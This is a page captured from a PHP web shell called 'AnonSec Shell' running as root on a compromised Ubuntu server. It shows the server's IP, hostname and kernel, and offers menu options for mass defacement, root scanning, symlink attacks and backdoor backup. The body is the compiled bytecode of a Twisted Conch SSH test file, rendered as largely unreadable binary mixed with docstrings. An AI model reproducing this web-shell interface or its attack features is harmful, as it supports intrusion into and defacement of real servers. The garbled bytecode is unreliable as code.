AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/conch/test/__pycache__/test_endpoints.cpython-310.pyc
o

�bP��@s�dZddlZddlmZddlmZddlmZddl	m
Z
mZddlZddl
mZmZmZddlmZdd	lmZdd
lmZddlmZddlmZmZmZmZdd
lmZm Z m!Z!m"Z"ddl#m$Z$m%Z%ddl&m'Z'm(Z(ddl)m*Z*m+Z+ddl,m-Z-ddl.m/Z/ddl0m1Z1ddl2m3Z3ddl4m5Z5ddl6m7Z7m8Z8ddl9m:Z:e5d��re5d��rddl;m<Z<ddl=m>Z>m?Z?ddl@mAZAmBZBddlCmDZDmEZEmFZFmGZGmHZHmIZImJZJddlKmLZLddlMmNZNdd lOmPZPdd!lQmRZRdd"lSmTZTdd#lUmVZVdd$lWmXZXdd%lYmZZZdd&l[m\Z\m]Z]m^Z^m_Z_nd'Z`eaZTeaZZeaZReaZVeaZPeaZNeaZBeaZ?eaZ<dd(lbmcZcmdZddd)l6meZeGd*d+�d+ec�ZfGd,d-�d-eP�ZgGd.d/�d/eP�ZhGd0d1�d1eP�ZiGd2d3�d3�ZjGd4d5�d5e'�ZkGd6d7�d7�ZlGd8d9�d9eZ�ZmGd:d;�d;eT�Znee$�Gd<d=�d=��Zoee%�Gd>d?�d?��ZpGd@dA�dA�ZqGdBdC�dCe:eq�ZrGdDdE�dEe:eq�ZsGdFdG�dGe:�ZtGdHdI�dI�ZuGdJdK�dKe:�ZvdS)Lz'
Tests for L{twisted.conch.endpoints}.
�N)�ENOSYS)�pack)�implementer)�verifyClass�verifyObject)�
ConchError�HostKeyChanged�UserRejectedKey)�
IConchUser)�'InMemoryUsernamePasswordDatabaseDontUse)�Portal)�IPv4Address)�CancelledError�Deferred�fail�succeed)�ConnectingCancelledError�ConnectionDone�ConnectionRefusedError�ProcessTerminated)�IAddress�IStreamClientEndpoint)�Factory�Protocol)�LogLevel�globalLogPublisher)�
networkString)�Failure)�FilePath)�msg)�
requireModule)�EventLoggingObserver�MemoryReactorClock)�TestCase�cryptographyzpyasn1.type)�	ConchUser)�InMemorySSHKeyDB�SSHPublicKeyChecker)�	ConsoleUI�KnownHostsFile)�AuthenticationFailed�SSHCommandAddress�SSHCommandClientEndpoint�_ExistingConnectionHelper�_ISSHConnectionCreator�_NewConnectionHelper�	_ReadFile)�common)�SSHAgentServer)�
SSHChannel)�
SSHConnection)�
SSHFactory)�Key)�SSHClientTransport)�SSHUserAuthServer)�privateDSA_openssh�privateRSA_openssh� privateRSA_openssh_encrypted_aes�publicRSA_opensshz%can't run w/o cryptography and pyasn1)�
FakeTransport�connect)�StringTransportc@seZdZdZdZdd�ZdS)�AbortableFakeTransportzC
    A L{FakeTransport} with added C{abortConnection} support.
    FcC�
d|_dS)z}
        Abort the connection in a fake manner.

        This should really be implemented in the underlying module.
        TN��aborted��self�rF�C/usr/lib/python3/dist-packages/twisted/conch/test/test_endpoints.py�abortConnectionZ�
z&AbortableFakeTransport.abortConnectionN)�__name__�
__module__�__qualname__�__doc__rCrHrFrFrFrGr@Ssr@c@�eZdZdZdd�ZdS)�BrokenExecSessionzO
    L{BrokenExecSession} is a session on which exec requests always fail.
    cC�dS)z�
        Fail all exec requests.

        @param data: Information about what is being executed.
        @type data: L{bytes}

        @return: C{0} to indicate failure
        @rtype: L{int}
        rrF�rE�datarFrFrG�request_exech�
zBrokenExecSession.request_execN�rJrKrLrMrSrFrFrFrGrOc�rOc@rN)�WorkingExecSessionzS
    L{WorkingExecSession} is a session on which exec requests always succeed.
    cCrP)z�
        Succeed all exec requests.

        @param data: Information about what is being executed.
        @type data: L{bytes}

        @return: C{1} to indicate success
        @rtype: L{int}
        �rFrQrFrFrGrSzrTzWorkingExecSession.request_execNrUrFrFrFrGrWurVrWc@rN)�UnsatisfiedExecSessionz�
    L{UnsatisfiedExecSession} is a session on which exec requests are always
    delayed indefinitely, never succeeding or failing.
    cCst�S)z�
        Delay all exec requests indefinitely.

        @param data: Information about what is being executed.
        @type data: L{bytes}

        @return: A L{Deferred} which will never fire.
        @rtype: L{Deferred}
        )rrQrFrFrGrS�s
z#UnsatisfiedExecSession.request_execNrUrFrFrFrGrY�srYc@seZdZdd�Zdd�ZdS)�TrivialRealmcCs
i|_dS�N)�
channelLookuprDrFrFrG�__init__��
zTrivialRealm.__init__cGst�}|j|_t|dd�fS)NcS�dSr[rFrFrFrFrG�<lambda>��z,TrivialRealm.requestAvatar.<locals>.<lambda>)r%r\r
)rE�avatarId�mind�
interfaces�avatarrFrFrG�
requestAvatar�szTrivialRealm.requestAvatarN)rJrKrLr]rfrFrFrFrGrZ�srZc@seZdZdZdd�ZdS)�AddressSpyFactoryNcCs||_t�||�Sr[)�addressr�
buildProtocol)rErhrFrFrGri�szAddressSpyFactory.buildProtocol)rJrKrLrhrirFrFrFrGrg��rgc@s$eZdZdd�Zdd�Zdd�ZdS)�FixedResponseUIcCs
||_dSr[��result)rErmrFrFrGr]�r^zFixedResponseUI.__init__cCs
t|j�Sr[)rrm�rE�textrFrFrG�prompt�r^zFixedResponseUI.promptcCr_r[rFrnrFrFrG�warn�szFixedResponseUI.warnN)rJrKrLr]rprqrFrFrFrGrk�srkc@s$eZdZedd��Zedd��ZdS)�FakeClockSSHUserAuthServercC�
|jjjS)zy
        Use the C{attemptsBeforeDisconnect} value defined by the factory to make
        it easier to override.
        )�	transport�factory�attemptsBeforeDisconnectrDrFrFrGrv�rIz3FakeClockSSHUserAuthServer.attemptsBeforeDisconnectcCrs)z�
        Use the reactor defined by the factory, rather than the default global
        reactor, to simplify testing (by allowing an alternate implementation
        to be supplied by tests).
        )rtru�reactorrDrFrFrG�clock�s
z FakeClockSSHUserAuthServer.clockN)rJrKrL�propertyrvrxrFrFrFrGrr�s

rrc@s2eZdZedd��Zedd��Zeed�ZdZ	dS)�CommandFactorycC�dtjtd�iS�N�ssh-rsa)rR)r6�
fromStringr<rDrFrFrG�
publicKeys��zCommandFactory.publicKeyscCr{r|)r6r~r:rDrFrFrG�privateKeys�r�zCommandFactory.privateKeys)sssh-userauthsssh-connectionrN)
rJrKrLryrr�rrr4�servicesrvrFrFrFrGrz�s

�	rzc@seZdZdS)�
MemoryAddressN)rJrKrLrFrFrFrGr��sr�c@� eZdZdZdd�Zdd�ZdS)�SingleUseMemoryEndpointa]
    L{SingleUseMemoryEndpoint} is a client endpoint which allows one connection
    to be set up and then exposes an API for moving around bytes related to
    that connection.

    @ivar pump: L{None} until a connection is attempted, then a L{IOPump}
        instance associated with the protocol which is connected.
    @type pump: L{IOPump}
    cCsd|_||_dS)z�
        @param server: An L{IProtocol} provider to which the client will be
            connected.
        @type server: L{IProtocol} provider
        N)�pump�_server)rE�serverrFrFrGr]�s
z SingleUseMemoryEndpoint.__init__cCsh|jdur	td��z|�t��}Wntyt�YSwt|jt|jdd�|t|dd��|_t	|�S)Nz(SingleUseMemoryEndpoint was already usedT��isServerF)
r��	Exceptionrir��
BaseExceptionrr>r�r@r)rEru�protocolrFrFrGr>�s

�
�zSingleUseMemoryEndpoint.connectN)rJrKrLrMr]r>rFrFrFrGr��s
	r�c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd*d#d$�Zd%d&�Zd'd(�Zd)S)+�"SSHCommandClientEndpointTestsMixina�
    Tests for L{SSHCommandClientEndpoint}, an L{IStreamClientEndpoint}
    implementations which connects a protocol with the stdin and stdout of a
    command running in an SSH session.

    These tests apply to L{SSHCommandClientEndpoint} whether it is constructed
    using L{SSHCommandClientEndpoint.existingConnection} or
    L{SSHCommandClientEndpoint.newConnection}.

    Subclasses must override L{create}, L{assertClientTransportState}, and
    L{finishConnection}.
    cCs�d|_d|_d|_d|_t�|_t�|_t|j�|_	t
�|_|j�|j|j�|j	�
|j�t�|_|j|j_|j	|j_	|j��|�|jj�tddd�|_tddd	�|_dS)
Nsssh.example.comi&�suserspassword�TCPz10.0.0.1i90z192.168.100.200i1�)�hostname�port�user�passwordr"rwrZ�realmr�portalr�passwdDB�addUser�registerCheckerrzru�doStart�
addCleanup�doStopr
�
clientAddress�
serverAddressrDrFrFrG�setUps"


z(SSHCommandClientEndpointTestsMixin.setUpcC�t|jj�d���)z�
        Create and return a new L{SSHCommandClientEndpoint} to be tested.
        Override this to implement creation in an interesting way the endpoint.
        z did not implement create��NotImplementedError�	__class__rJrDrFrFrG�create/��z)SSHCommandClientEndpointTestsMixin.createcCstd|jjf��)a�
        Make an assertion about the connectedness of the given protocol's
        transport.  Override this to implement either a check for the
        connection still being open or having been closed as appropriate.

        @param client: The client whose state is being checked.

        @param immediateClose: Boolean indicating whether the connection was
            closed immediately or not.
        z/%r did not implement assertClientTransportStater��rE�client�immediateCloserFrFrG�assertClientTransportState8s
��z=SSHCommandClientEndpointTestsMixin.assertClientTransportStatecCr�)z�
        Do any remaining work necessary to complete an in-memory connection
        attempted initiated using C{self.reactor}.
        z# did not implement finishConnectionr�rDrFrFrG�finishConnectionHr�z3SSHCommandClientEndpointTestsMixin.finishConnectioncCsT|�d�}|�d�}t|d|j|jd�}t|d|j|jd�}t||||�}|||fS)aw
        Set up an in-memory connection between protocols created by
        C{serverFactory} and C{clientFactory}.

        @return: A three-tuple.  The first element is the protocol created by
            C{serverFactory}.  The second element is the protocol created by
            C{clientFactory}.  The third element is the L{IOPump} connecting
            them.
        NF)r��hostAddress�peerAddressT)rir@r�r�r>)rE�
serverFactory�
clientFactory�clientProtocol�serverProtocol�clientTransport�serverTransportr�rFrFrG�connectedServerAndClientQs 


��
z;SSHCommandClientEndpointTestsMixin.connectedServerAndClientc	Cs�|��}t�}t|_|�|�}|��\}}}|�t�}|�d|dj	j
|dj	j	f�|�dt|��|�
|�}|�t�|�d|j	j	�|�|d�dS)z�
        If a channel cannot be opened on the authenticated SSH connection, the
        L{Deferred} returned by L{SSHCommandClientEndpoint.connect} fires with
        a L{Failure} wrapping the reason given by the server.
        �unknown channelrrX�unknown channelFN)r�rrr�r>r��flushLoggedErrorsr�assertIn�valuerR�assertEqual�len�failureResultOf�trapr�)	rE�endpointru�	connectedr�r�r��errors�frFrFrG�test_channelOpenFailurens

 

z:SSHCommandClientEndpointTestsMixin.test_channelOpenFailurecCslt|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}|�
t�|�d|j
j
�|�|d�dS)z�
        If execution of the command fails, the L{Deferred} returned by
        L{SSHCommandClientEndpoint.connect} fires with a L{Failure} wrapping
        the reason given by the server.
        �sessionzchannel request failedFN)rOr�r\r�rrr�r>r�r�r�rr�r�r��rEr�rur�r�r�r�r�rFrFrG�test_execFailure�s


z3SSHCommandClientEndpointTestsMixin.test_execFailurecCsdt|jjd<|��}t�}t|_|�|�}|��\}}}|�	�|�
|�}|�t�|�
|d�dS)z�
        If execution of the command is cancelled via the L{Deferred} returned
        by L{SSHCommandClientEndpoint.connect}, the connection is closed
        immediately.
        r�TN)rYr�r\r�rrr�r>r��cancelr�r�rr�r�rFrFrG�test_execCancelled�s


z5SSHCommandClientEndpointTestsMixin.test_execCancelledcCs�t|jjd<|��}t�}t|_|�|�|��\}}}|�	|j
t�|�|j
��|j
j�|�|j|j
j�|�d|j
j�dS)aD
        Once the necessary SSH actions have completed successfully,
        L{SSHCommandClientEndpoint.connect} uses the factory passed to it to
        construct a protocol instance by calling its C{buildProtocol} method
        with an address object representing the SSH connection and command
        executed.
        r��
/bin/ls -lN)rWr�r\r�rgrr�r>r��assertIsInstancerhr+r�rt�getHostr�r��username�command)rEr�rur�r�r�rFrFrG�test_buildProtocol�s
z5SSHCommandClientEndpointTestsMixin.test_buildProtocolcCsRt|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}|�
|j�dS)a
        L{SSHCommandClientEndpoint} establishes an SSH connection, creates a
        channel in it, runs a command in that channel, and uses the protocol's
        C{makeConnection} to associate it with a protocol representing that
        command's stdin and stdout.
        r�N)rWr�r\r�rrr�r>r��successResultOf�assertIsNotNonert�rEr�rur�r�r�r�r�rFrFrG�test_makeConnection�s

z6SSHCommandClientEndpointTestsMixin.test_makeConnectionc
Cs�t|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}g}|j
|_|jj
}	|jj|	�d�|��|�dd�|��dS)z�
        After establishing the connection, when the command on the SSH server
        produces output, it is delivered to the protocol's C{dataReceived}
        method.
        r��hello, world�N)rWr�r\r�rrr�r>r�r��append�dataReceivedrt�id�service�channels�writer�r��join)
rEr�rur�r�r�r�r�r��	channelIdrFrFrG�test_dataReceived�s

z4SSHCommandClientEndpointTestsMixin.test_dataReceivedc
Cs�t|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}g}|j
|_|jj
}	|jj|	��|��|d�t�|�|d�dS)zq
        When the command closes the channel, the protocol's C{connectionLost}
        method is called.
        r�rFN)rWr�r\r�rrr�r>r�r�r��connectionLostrtr�r�r��loseConnectionr�r�rr�)
rEr�rur�r�r�r�r�r�r�rFrFrG�test_connectionLost�s

z6SSHCommandClientEndpointTestsMixin.test_connectionLostc
Cs�t|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}	g}
|
j
|	_|	jj
}|jj|}|j�|||�|��|��|�|d�|
dS)zJ
        Test handling of non-zero exit statuses or exit signals.
        r�Fr)rWr�r\r�rrr�r>r�r�r�r�rtr�r�r��sendRequestr�r�r�)
rE�request�
requestArgr�rur�r�r�r�r�r�r��channelrFrFrG�_exitStatusTests 

z2SSHCommandClientEndpointTestsMixin._exitStatusTestcCs$d}|�dtd|��}|�t�dS)��
        When the command exits with a non-zero status, the protocol's
        C{connectionLost} method is called with a L{Failure} wrapping an
        exception which encapsulates that status.
        r�exit-status�>LN)r�rr�r)rE�exitCode�excrFrFrG�test_zeroExitCode0sz4SSHCommandClientEndpointTestsMixin.test_zeroExitCodecCsHd}d}|�dtd|��}|�t�|�||jj�|�||jj�dS)r��{Nr�r�)r�rr�rr�r�r��signal)rEr�r�r�rFrFrG�test_nonZeroExitStatus:s
z9SSHCommandClientEndpointTestsMixin.test_nonZeroExitStatuscCs�t�}t�|�|�tj|�d}d}d�t�d�dt�d�t�d�g�}|�d|�}|�	t
�|�||jj
�|�||jj�d	}t�|t�t�t�tj�|dd
ddd����dS)
a
        When the command exits with a non-zero signal, the protocol's
        C{connectionLost} method is called with a L{Failure} wrapping an
        exception which encapsulates that status.

        Additional packet contents are logged at the C{info} level.
        N�r�sTERM�smessagesen-USsexit-signalz'twisted.conch.endpoints._CommandChannelT�message)�	log_level�
log_namespace�shortSignalName�
coreDumped�errorMessage�languageTag)r!r�addObserverr��removeObserverr�r1�NSr�r�rr�r�r�r��hamcrest�assert_that�has_item�has_entries�equal_tor�info)rE�logObserverr�r��packetr��logNamespacerFrFrG�test_nonZeroExitSignalGs>
��	

����z9SSHCommandClientEndpointTestsMixin.test_nonZeroExitSignalFcs<|jj}g�|r�fdd�}n�j}t|jj|||��S)a
        Hook into and record events which happen to C{protocol}.

        @param server: The SSH server protocol over which C{protocol} is
            running.
        @type server: L{IProtocol} provider

        @param protocol:

        @param event:

        @param noArgs:
        cs
��d�Sr[)r�rF��recorderrFrGr`�s
z;SSHCommandClientEndpointTestsMixin.record.<locals>.<lambda>)rtr�r��setattrr�r�)rEr�r��event�noArgsr�r�rFrrG�recordusz)SSHCommandClientEndpointTestsMixin.recordc	Cszt|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}|�
||d�}|j�d�|�
�|�dd�|��dS)z�
        The transport connected to the protocol has a C{write} method which
        sends bytes to the input of the command executing on the SSH server.
        r�r�r�r�N)rWr�r\r�rrr�r>r�r�rrtr�r�r�r��	rEr�rur�r�r�r�r�r�rFrFrG�
test_write�s

z-SSHCommandClientEndpointTestsMixin.test_writec	Cs|t|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}|�
||d�}|j�dg�|�
�|�dd�|��dS)z�
        The transport connected to the protocol has a C{writeSequence} method which
        sends bytes to the input of the command executing on the SSH server.
        r�r�r�r�N)rWr�r\r�rrr�r>r�r�rrt�
writeSequencer�r�r�rrFrFrG�test_writeSequence�s

z5SSHCommandClientEndpointTestsMixin.test_writeSequenceN)F)rJrKrLrMr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr	rrFrFrFrGr�
s*
		

.r�c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0S)1�NewConnectionTestsz`
    Tests for L{SSHCommandClientEndpoint} when using the C{newConnection}
    constructor.
    cCsht�|�t|���|_t|j�|_|j�|j|j	j
d�|j�t|jj
�|j	j
d�|j��dS)�
        Configure an SSH server with password authentication enabled for a
        well-known (to the tests) account.
        r}N)r�r�r�mktemp�hostKeyPathr)�
knownHosts�
addHostKeyr�rurrr��host�saverDrFrFrGr��s
�zNewConnectionTests.setUpc
Cs*tj|jd|j|j|j|j|jtd�d�S)zu
        Create and return a new L{SSHCommandClientEndpoint} using the
        C{newConnection} constructor.
        r�F�r�r�ui)	r,�
newConnectionrwr�r�r�r�rrkrDrFrFrGr��s�zNewConnectionTests.createcCs|�|j|jjdd�S)z}
        Establish the first attempted TCP connection using the SSH server which
        C{self.factory} can create.
        r�)r�rurw�
tcpClientsrDrFrFrGr��s�z#NewConnectionTests.finishConnectioncCsH|j||ddd�}|j��|��|�dg|�|��|j��dS)a�
        Lose the connection to a server and pump the L{IOPump} sufficiently for
        the client to handle the lost connection. Asserts that the client
        disconnects its transport.

        @param server: The SSH server protocol over which C{protocol} is
            running.
        @type server: L{IProtocol} provider

        @param client: The SSH client protocol over which C{protocol} is
            running.
        @type client: L{IProtocol} provider

        @param protocol: The protocol created by calling connect on the ssh
            endpoint under test.
        @type protocol: L{IProtocol} provider

        @param pump: The L{IOPump} connecting client to server.
        @type pump: L{IOPump}
        �closedT)rN)rrtr�r�r��reportDisconnect)rEr�r�r�r�rrFrFrG�loseConnectionToServer�s
z)NewConnectionTests.loseConnectionToServercCs(|r|�|jj�dS|�|jj�dS)z�
        Assert that the transport for the given protocol has been disconnected.
        L{SSHCommandClientEndpoint.newConnection} creates a new dedicated SSH
        connection and cleans it up after the command exits.
        N)�
assertTruertrC�
disconnectingr�rFrFrGr�sz-NewConnectionTests.assertClientTransportStatecCs,t�|jdd|j|j�}|�tt|��dS)zY
        L{SSHCommandClientEndpoint} instances provide L{IStreamClientEndpoint}.
        �
dummy command�
dummy userN)r,rrwr�r�rrr�rEr�rFrFrG�test_interfaces�z!NewConnectionTests.test_interfacecCs(t�|jdd|j�}|�d|jj�dS)z�
        L{SSHCommandClientEndpoint} uses the default port number for SSH when
        the C{port} argument is not specified.
        rr�N�r,rrwr�r��_creatorr�r rFrFrG�test_defaultPort"s�z#NewConnectionTests.test_defaultPortcCs,tj|jdd|jdd�}|�d|jj�dS)zU
        L{SSHCommandClientEndpoint} uses the C{port} argument if specified.
        rri�)r�Nr#r rFrFrG�test_specifiedPort,s�z%NewConnectionTests.test_specifiedPortc
Cs�tj|jd|j|j|j|j|jtd�d�}t	�}t
|_|�|�|jj
d\}}}}}|�|jt|��|�|j|�|�dt|jj
��dS)z�
        L{SSHCommandClientEndpoint} uses the L{IReactorTCP} passed to it to
        attempt a connection to the host/port address also passed to it.
        r�FrrrXN)r,rrwr�r�r�r�rrkrrr�r>rr�rr�)rEr�rurr��timeout�bindAddressrFrFrG�test_destination5s"�

z#NewConnectionTests.test_destinationc	Csptj|jdd|j|j|jtd�d�}t�}t|_	|�
|�}|jjdd}|�dt
t���|�|��t�dS)z�
        If a connection cannot be established, the L{Deferred} returned by
        L{SSHCommandClientEndpoint.connect} fires with a L{Failure}
        representing the reason for the connection setup failure.
        r�rF�rrrrN)r,rrwr�r�rrkrrr�r>r�clientConnectionFailedrrr�r��rEr�ru�drFrFrG�test_connectionFailedMs�	
z(NewConnectionTests.test_connectionFailedc	Csxtj|jdd|j|jt|���td�d�}t�}t	|_
|�|�}|�|j
|jjdd�\}}}|�|�}|�t�dS)a"
        If the L{KnownHostsFile} instance used to construct
        L{SSHCommandClientEndpoint} rejects the SSH public key presented by the
        server, the L{Deferred} returned by L{SSHCommandClientEndpoint.connect}
        fires with a L{Failure} wrapping L{UserRejectedKey}.
        r�rFr*rrN)r,rrwr�r�r)rrkrrr�r>r�rurr�r�r	r�rFrFrG�test_userRejectedHostKeyes"
�


�
z+NewConnectionTests.test_userRejectedHostKeyc
Cs�t�t���}tt|����}|�t|j	j
�|�tjtdd���}|�|j|�t
d�}tj|jdd|j|jd||d�}t�}t|_|�|�}|�|j|jjdd	�\}}	}
|�|�}|�t�d
S)ac
        If the SSH public key presented by the SSH server does not match the
        previously remembered key, as reported by the L{KnownHostsFile}
        instance use to construct the endpoint, for that server, the
        L{Deferred} returned by L{SSHCommandClientEndpoint.connect} fires with
        a L{Failure} wrapping L{HostKeyChanged}.
        stestxp)�
passphraseTr�r�dummy passwordrrrN)r6r~r:�publicr)rrrrr�rr;r�rkr,rrwr�rrr�r>r�rurr�r�r)rE�firstKeyr�differentKeyrr�rur�r�r�r�r�rFrFrG�test_mismatchedHostKey�s8���

�
z)NewConnectionTests.test_mismatchedHostKeyc	Cs�tj|jdd|j|j|jtd�d�}t�}t|_	|�
|�}t�}|jjdd}|�
d�}|�|�|�tt���|�|��t�dS)aU
        If the connection closes at any point before the SSH transport layer
        has finished key exchange (ie, gotten to the point where we may attempt
        to authenticate), the L{Deferred} returned by
        L{SSHCommandClientEndpoint.connect} fires with a L{Failure} wrapping
        the reason for the lost connection.
        r�rFr*rrN)r,rrwr�r�rrkrrr�r>r?rri�makeConnectionr�rrr�r��rEr�rur-rtr�rFrFrG�!test_connectionClosedBeforeSecure�s$�



z4NewConnectionTests.test_connectionClosedBeforeSecurec	Cs�tj|jdd|j|j|jtd�d�}t�}t|_	|�
|�}tddd�}|jjdd}|�
d�}|�|�|��|�|��t�|�|j�|�tt���dS)	a[
        If the connection is cancelled before the SSH transport layer has
        finished key exchange (ie, gotten to the point where we may attempt to
        authenticate), the L{Deferred} returned by
        L{SSHCommandClientEndpoint.connect} fires with a L{Failure} wrapping
        L{CancelledError} and the connection is aborted.
        r�rFr*Nr�rr)r,rrwr�r�rrkrrr�r>r@rrir6r�r�r�rrrCr�rrr7rFrFrG�$test_connectionCancelledBeforeSecure�s(�



z7NewConnectionTests.test_connectionCancelledBeforeSecurec	Csjtj|jdd|j|j|jtd�d�}t�}t|_	|�
|�}|��|�|��
t�|�|jjdj�dS)zz
        If the connection is cancelled before it finishes connecting, the
        connection attempt is stopped.
        r�rFr*rN)r,rrwr�r�rrkrrr�r>r�r�r�rr�
connectors�stoppedConnectingr,rFrFrG�'test_connectionCancelledBeforeConnected�s�

z:NewConnectionTests.test_connectionCancelledBeforeConnectedc
Cs�tj|jdd|j|jd|jtd�d�}t�}t|_	|�
|�}|�|j|jj
dd�\}}}|j�|jj�|��|�|�}|�t�|�|d�dS)	z�
        If the SSH server rejects the password presented during authentication,
        the L{Deferred} returned by L{SSHCommandClientEndpoint.connect} fires
        with a L{Failure} wrapping L{AuthenticationFailed}.
        r�rr1FrrrN)r,rrwr�r�rrkrrr�r>r�rur�advancer��
passwordDelay�flushr�r�r*r�r�rFrFrG�"test_passwordAuthenticationFailures*�

�

z5NewConnectionTests.test_passwordAuthenticationFailurecCs,dd�|��D�}tt|��}|�|�dS)a�
        Create an L{ISSHPrivateKey} checker which recognizes C{users} and add it
        to C{portal}.

        @param portal: A L{Portal} to which to add the checker.
        @type portal: L{Portal}

        @param users: The users and their keys the checker will recognize.  Keys
            are byte strings giving user names.  Values are byte strings giving
            OpenSSH-formatted private keys.
        @type users: L{dict}
        cSs"i|]
\}}|t�|���g�qSrF)r6r~r2)�.0�k�vrFrFrG�
<dictcomp>8s"z6NewConnectionTests.setupKeyChecker.<locals>.<dictcomp>N)�itemsr'r&r�)rEr��users�mapping�checkerrFrFrG�setupKeyChecker+s
z"NewConnectionTests.setupKeyCheckerc	
Cs�t�t�}|�|j|jti�tj|j	d|j|j
|j|g|jt
d�d�}t�}t|_|�|�}|�|j|j	jdd�\}}}|�|�}|�t�|�|jj�dS)z�
        If the SSH server rejects the key pair presented during authentication,
        the L{Deferred} returned by L{SSHCommandClientEndpoint.connect} fires
        with a L{Failure} wrapping L{AuthenticationFailed}.
        r�F��keysrrrrN)r6r~r:rIr�r�r9r,rrwr�r�rrkrrr�r>r�rurr�r�r*rrtr)	rE�badKeyr�rur�r�r�r�r�rFrFrG�#test_publicKeyAuthenticationFailure<s*
�

�

z6NewConnectionTests.test_publicKeyAuthenticationFailurec
Cs
t�t�}|�|j|jti�tj|j	d|j|j
|j|g|j|j
td�d�	}t�}t|_|�|�}|jjd7_|�|j|j	jdd�\}}}|��|�t�}|�d|djj|djjf�|�dt|��|�|�}	|	� t�|�d|	jj�|�!|j"j#�d	S)
z{
        If the SSH server does not accept any of the specified SSH keys, the
        specified password is tried.
        r�F)rKr�rrrXrrr�r�N)$r6r~r:rIr�r�r9r,rrwr�r�r�rrkrrr�r>rurvr�rr�r�rr�r�rRr�r�r�r�rrtr)
rErLr�rur�r�r�r�r�r�rFrFrG�test_authenticationFallbackas8
�

�
 

z.NewConnectionTests.test_authenticationFallbackc	
Cs�t�t�}|�|j|jti�t|jjd<t	j
|jd|j|j|j
|g|jtd�d�}t�}t|_|�|�}|�|j|jjdd�\}}}|�|�}|�|j�dS)z�
        If L{SSHCommandClientEndpoint} is initialized with any private keys, it
        will try to use them to authenticate with the SSH server.
        r�r�FrJrrN)r6r~r9rIr�r�rWr�r\r,rrwr�r�rrkrrr�r>r�rurr�r�rt)	rE�keyr�rur�r�r�r�r�rFrFrG�test_publicKeyAuthentication�s*
�

�
z/NewConnectionTests.test_publicKeyAuthenticationc	Cs�tj|jd|j|j|j|jtd�d�}t�}t	|_
|�|�}|�|j
|jjdd�\}}}|��|�|�}|�t�|�|jj�dS)z�
        If the password is not specified, L{SSHCommandClientEndpoint} doesn't
        try it as an authentication mechanism.
        r�Fr*rrN)r,rrwr�r�r�rrkrrr�r>r�rurr�r�r�r*rrtrr�rFrFrG�test_skipPasswordAuthentication�s&�


�

z2NewConnectionTests.test_skipPasswordAuthenticationc
Cst�t�}t�}t�|_|��|dfi|j_|�|j	|j
ti�t|�}tj
|jd|j
|j|j|jtd�|d�}t|jjd<t�}t|_|�|�}|�|j|jjdd�\}}}	td�D]}
|j��|	��q]|�|�}|�|j�|� ||||	�|�!|jj"�|�!|jj#j"�d	S)
a

        If L{SSHCommandClientEndpoint} is initialized with an
        L{SSHAgentClient}, the agent is used to authenticate with the SSH
        server. Once the connection with the SSH server has concluded, the
        connection to the agent is disconnected.
        r�r�F)rr�
agentEndpointr�rr�N)$r6r~r:r2rru�blobrKrIr�r�r�r,rrwr�r�rrkrWr�r\rr�r>r�r�ranger�r�r�rtrrr�clientIO)rErO�agentServerrRr�rur�r�r�r��ir�rFrFrG�test_agentAuthentication�s>
�

�


z+NewConnectionTests.test_agentAuthenticationcCsdt|jjd<|��}t�}t|_|�|�}|��\}}}|�	|�}|�
||||�|�|jj
�dS)z�
        The transport connected to the protocol has a C{loseConnection} method
        which causes the channel in which the command is running to close and
        the overall connection to be closed.
        r�N)rWr�r\r�rrr�r>r�r�rrrtrr�rFrFrG�test_loseConnections

z&NewConnectionTests.test_loseConnectionN)rJrKrLrMr�r�r�rr�r!r%r&r)r.r/r5r8r9r<r@rIrMrNrPrQrYrZrFrFrFrGr�s2	#
	
	,"(%0!3rc@�0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�ExistingConnectionTestsze
    Tests for L{SSHCommandClientEndpoint} when using the C{existingConnection}
    constructor.
    c
Cszt�|�tt|����}|�|j|jjd�|�t	|j
j�|jjd�tj
|jd|j|j|j|j|td�d�|_dS)r
r}r�FrN)r�r�r)rrrr�rurrr�rr,rrwr�r�r�rkr�)rErrFrFrGr�!s 
��zExistingConnectionTests.setUpc		Cs�t�}t|_|j�|�}|jj��}z%t|jjd<|�	|j
|jjdd�\}}}W|jj�
�|jj�|�n|jj�
�|jj�|�w||_||_||_|�|�}|jj}t�|d�S)zz
        Create and return a new L{SSHCommandClientEndpoint} using the
        C{existingConnection} constructor.
        r�rrr�)rrr�r�r>r�r\�copyrWr�rurwr�clear�updater��_client�_pumpr�rt�connr,�existingConnection)	rErur�r\r�r�r�r��
connectionrFrFrGr�9s&��
zExistingConnectionTests.createcCs8|j��|j��|j��|j��|j|j|jfS)z�
        Give back the connection established in L{create} over which the new
        command channel being tested will exchange data.
        )rar�r�r`rDrFrFrGr�Ws




z(ExistingConnectionTests.finishConnectioncCs |�|jj�|�|jj�dS)a
        Assert that the transport for the given protocol is still connected.
        L{SSHCommandClientEndpoint.existingConnection} re-uses an SSH connected
